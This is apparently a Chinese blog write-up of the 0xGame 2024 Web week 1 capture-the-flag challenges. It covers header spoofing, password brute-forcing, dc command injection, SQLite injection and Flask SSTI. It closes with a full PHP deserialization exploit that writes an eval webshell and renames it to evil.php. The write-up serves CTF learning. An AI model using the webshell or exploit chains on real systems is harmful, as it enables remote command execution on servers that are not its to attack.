[0xGame 2024]Web week1 合集¶
hello_web¶
打开题目要求随便搜索。右键检查和 f12 都不可用。所以我们直接打开另一个网页先打开 devtools,然后再访问这个网页就可以查看源代码了。
我们获得了第一段 flag, 并且发现提示前往 f14g.php
提示如何查看响应包。我们打开 "网络" 选项卡,然后查看最上面的相应,发现了 Flag
这个 header,前面是乱码不必理会,我们复制后面可读懂的 flag 内容,把它粘贴到之前的 flag 后面,即可获得flag。
hello_http¶
这题就是简单的 http 请求。
使用 x1cBrowser
浏览器访问,我们需要修改 User-Agent
头即可。
同理,从 127.0.0.1 访问,需要修改 X-Forwarded-For
头。
这里直接给出最终的请求:
POST /?hello=world HTTP/1.1
Content-Length: 12
Content-Type: application/x-www-form-urlencoded
Host: 8.130.84.100:50002
Referer: http://localhost:8080/
User-Agent: x1cBrowser
cookie: flag=secret
x-forwarded-for: 127.0.0.1
web=security
ez_login¶
爆破题,用户名:admin
; 密码 admin123
.
这题做不出来的原因是:我字典里没有 admin123
,就很难受,所以之后我就重新塞了 1000 个常用密码丢进去了。
ez_rce¶
打开题目是一个 python 代码,我们检查源代码然后把代码复制到本地审计。
通过审计发现,我们要求访问 /calc
路由,并且使用 post 方法传递 expression
参数,这个参数会被输入到 dc -e "expression"
里面执行。我们经过试验和查阅资料得知,这个 dc
命令是一个后缀表达式的计算器。经过查阅资料,想要找到它的有关命令执行漏洞的信息,无果。
最后,我在 dc
命令的 wiki 百科上找到了这样的一行话:"使用?命令,从stdin读取一行并执行它。这允许从宏中向用户要求输入,故而此输入必须是语法上正确的,并且这有潜在的安全问题,因为dc的!命令可以执行任意系统命令。"
所以我们可以得知,这题的思路就是使用 !
进行命令执行。经过试验,以下为最终 payload:
ez_sql¶
这是一道有关于 sqlite 的 sql 注入题目。在此之前,我需要先进行 sqlite 的学习。以下是一些关键的知识点:
sqlite 基本使用¶
sqlite 在 linux 上可能默认安装,使用 sqlite3
这个命令即可使用。通常情况下,我们打开一个数据库,使用 sqlite3 test.db
即可。
打开 sqlite, 部分命令需要了解。
.help
查看帮助.schema test
查看某一张表的构建命令.tables
查看当前数据库的所有表.dump
把当前进程中已更改的数据存回磁盘的 db 文件上
注入的原理¶
在 sqlite 中,我们没有 information_schema
这个表,无法直接查取数据库,但是我们有一个表叫做 sqlite_master
,这个表里面存储了所有的表名和创建表的语句。我们可以使用 .schema sqlite_master
这个命令查看表的结构。可以看到,有几个字段名比较重要,比如 name
tbl_name
和 sql
。因此,我们只要看到这个表的内容,就可以知道该数据库文件中,所有表的结构,然后像普通 sql 注入一样完成所需查询。
题目分析¶
首先,这题是联合查询,且是数字类型的注入点。所以我们先给出前两部分的 payload:
通过这两个 payload, 可以看出这题的除了 1 号位,都可以查询出资料。所以我们就利用这些点位,先把所有的表查出来。
查出名字为 flag
的表:
查出 flag
表的创建语句:
可以看到,里面有一个 flag
字段。所以我们直接查出来就行。
在复盘的时候,还发现了本题其实过滤了单双引号。但是以本题的正常思路,好象是用不到引号的。除非像我一样想精确一点使用 where tbl_name='flag'
这样的语句。
ez_ssti¶
这题是一道 ssti, 前半部分和普通 flask 的 ssti 一样,我们使用下面的 payload 直接接在 url 的后面就可以获得命令执行的权限。
但是观察代码,我们的环境变量 flag
已经被 flask 环境删除了。所以普通的命令执行无法获取这个环境变量。但是我们的 flask 环境还在,这个环境变量依然保留。所以我们可以直接调用 os.getenv('flag')
获取环境变量:
ez_unser¶
这是一道 php 的反序列化题目。基本的 pop 链的顺序就是遵循 "Man What Can I Say Mamba Out" 的顺序来,运用了不同的魔术方法。但是直到 Mamba
为止,前面的步骤与其说考验不同魔术方法的利用方式,不如说是告诉咱们魔术方法的利用方法。所以前面的步骤非常的公式化,就是使用 __construct
方法,给自己这个类的唯一的那个成员变量赋值为下一个类的实例化对象。
这道题的重点在于最后两个 Mamba
和 Out
类。审计代码可以知道这道题的基本思路:首先通过 Mamba
类,把木马写入创建的 log 文件。然后通过 Out
类,把 log 文件转换为可被利用的 php 文件。
以下就是 exp:
<?php
class Man{
private $name="原神,启动";
public function __construct(){
$this->name = new What();
}
}
class What{
private $Kun="两年半";
public function __construct(){
$this->Kun = new Can();
}
}
class Can{
private $Hobby="唱跳rap篮球";
public function __construct(){
$this->Hobby = new I();
}
}
class I{
private $name="Kobe";
public function __construct() {
$this->name = new Say();
}
}
class Say{
private $evil;
public function __construct() {
// 交换两行的注释,完成两次不同的反序列化
$this->evil = new Mamba();
// $this->evil = new Out();
}
}
class Mamba{
// content = "<?php eval($_POST['a']);"
}
class Out{
// o = time().".log"
// n = "evil.php"
}
echo urlencode(serialize(new Man()));
Mamba 和 Out 两个类中,都通过注释给出两次通过 POST 方式赋值的变量,使得我们可以完成任务。第一次反序列化成功之后,我们会获得生成的 log 文件名,我们可以访问以确认是否写入成功。
以下为 payload
第一次反序列化的 payload,获得 log 文件名:
content=%3C%3Fphp%20eval(%24_POST%5B'a'%5D)%3B
&data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A5%3A%22Mamba%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D
第二次反序列化的 payload,把 log 文件转换为 php 文件:
o=1730043119.log
&n=evil.php
&data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A3%3A%22Out%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D
最后一次,访问改名后的 evil.php
,即可进行命令执行
文章热度:0次阅读